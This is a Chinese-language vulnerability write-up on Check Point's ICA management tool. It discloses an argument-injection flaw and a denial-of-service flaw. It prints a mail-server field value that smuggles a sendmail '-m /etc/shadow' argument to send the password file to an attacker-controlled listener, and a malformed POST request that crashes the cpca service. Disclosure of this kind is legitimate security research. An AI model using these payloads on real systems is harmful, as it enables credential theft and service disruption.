在这篇文章中,我们将跟大家分析我们在Checkpoint安全管理套件中发现的多个安全漏洞,这个组件在很多Check Point产品中都有使用,它就是Checkpoint ICA 管理工具。
Checkpoint ICA 管理工具可以帮助我们管理下列用户证书:
默认配置下,这个服务是关闭的,我们需要使用内置实用程序cpca_client来开启该服务:
cpca_client set_mgmt_tool on -no_ssl
需要注意的是,如果我们运行该命令,任意用户将可以在未经身份验证的情况下使用该服务。因此,我们建议仅使用SSL运行此服务。可以使用下列命令和预先生成的证书来启用SSL:
cpca_client set_mgmt_tool on -u <your certificate>
启用该组件之后,即可通过访问“http://:18265/”地址来访问ICA管理工具的Web接口。在这里,我们需要在不使用SSL的情况下启用该组件。
在我们分析ICA管理工具的过程中,我们发现了下面这两个漏洞。
第一个漏洞类似于命令注入漏洞,攻击者可以在向目标应用程序传递参数时,注入或插入自定义命令。我们在分析过程中,能够利用该漏洞在调用内部系统命令时注入带有自定义参数的命令并成功执行。
Web接口的一个显著特征就是能够向用户发送关于证书初始化的通知消息,同时仍然保留了修改标准电子邮件Header的功能,比如说发件人、收件人、主题和邮件服务器地址等等。一开始,曾有人试图将Shell命令作为参数注入到邮件服务器地址参数中,这类似于通过不正确的输入验证来利用错误的“ping”命令,但实际上这种方式无法当作/bin/sh命令执行。
接下来,我们需要研究和确定负责发送邮件的进程,其中一个有可能的进程名为“cpca”,因为它监听的是18265号端口。通过字符串搜索,我们发现并确定了负责跟邮件发送交互的代码,它就是我们的目标。需要注意的是,cpca二进制文件中包含了字符串“send_mail_file.txt”,这也表明了它拥有发送附件的能力。在这里,我们必须深入了解sendmail的命令行参数,才能构造出相应的注入字符串。
sendmail [-t server] [ [-m filename] | [-s subject] [-f from] email-address]
即便如此,我们仍然无法推测出已执行命令行参数的顺序,因此我们必须另辟蹊径。这里,我们选择将sendmail的命令行参数添加在Web界面的参数中,通过日志记录我们可以确定,在参数注入时指定的服务器文件已发送到攻击者控制的邮件服务器。
如需利用该漏洞,我们需要使用nc监听本地端口25,然后在配置CA证书时,我们需要将管理工具邮件服务器设置为“127.0.0.1 -m /etc/shadow%0a%0a”,这里需要注意的是,字段结尾不应该出现“\n\n”。
接下来,我们需要发送一个请求来触发邮件的发送,certs参数中包含了证书ID以及邮件状态。
如下图所示,/etc/shadow中的内容已发送到nc所监听的25端口了:
这个组件中的拒绝服务漏洞是由于没有对用户输入数据进行验证所导致的,如果远程客户端发送了特殊构造的POST请求,并且该请求的主体以一种不正常的方式格式化的话,将会导致程序意外关闭。
为了验证该漏洞,我们生成了下列POST请求:
POST /file_init?_ HTTP/1.1
Host: checkpoint.host:18265
Cookie: _
Content-Length: 1
q
接收到这个请求之后,cpca将会崩溃。